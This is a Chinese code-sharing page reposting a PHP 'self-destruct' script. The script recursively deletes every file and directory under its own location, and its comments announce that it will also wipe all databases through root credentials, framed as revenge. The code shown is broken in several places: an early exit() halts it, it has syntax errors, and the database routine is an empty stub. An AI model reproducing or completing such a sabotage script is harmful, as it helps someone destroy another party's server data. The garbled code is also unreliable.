码迷,mamicode.com
首页 > Web开发 > 详细

PHP自毁程序

时间:2015-07-20 18:30:22      阅读:137      评论:0      收藏:0      [点我收藏+]

标签:

<?php
// +----------------------------------------------------------------------
// | Kill!!
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
// +----------------------------------------------------------------------
// | Version: $Id$
// +---------------------------------------------------------------------- 
 
//----------数据库配置区域-----------------
//复仇的力量是很可怕的,所以无需指定数据库,全删!
define(DB_USERroot);
define(DB_PWDroot);
define(DB_HOSTlocalhost);
define(DB_PORT3216);
define(DB_DAMAGEtrue);  //为false时,不碰数据库
 
run();
 
/**
 * 主体思想必须光辉伟大!
 *
 * @return void
 *
*/
function run()
{
    //删除文件
    deletedir();
    //删除数据库
    deleteDB();
}
 
/**
 * 呵呵呵,删除当前目录所有文件(递归)
 *
 * @return void
 *
*/
function deletedir($dir = ‘‘){
    if ($dir == ‘‘) {
        $dir = realpath(.);
    }
    echo $dir;
    exit();
      if(!handle=@opendir($dir)){     //检测要打开目录是否存在
        die("没有该目录");
      }
      while(false !==($file=readdir($handle))){
               if($file!=="."&&$file!==".."){       //排除当前目录与父级目录
                $file=$dir .DIRECTORY_SEPARATOR. $file;
                if(is_dir($file)){
                    deletedir($file);
                }else{
                    if(@unlink($file)){
                        echo "文件<b>$file</b>删除成功。<br>";
                    }else{
                        echo  "文件<b>$file</b>删除失败!<br>";
                    }
                }
               }
               if(@rmdir($dir)){
                echo "目录<b>$dir</b>删除成功了。<br>\n";
               }else{
                echo "目录<b>$dir</b>删除失败!<br>\n";
               }
           }
 
/**
 * 呵呵呵,删除数据库
 *
 * @return void
 *
*/
function deleteDB()
{
    if(DB_DAMAGE === true){
        //start
    }
}

PHP自毁程序

标签:

原文地址:http://www.cnblogs.com/qhorse/p/4661834.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!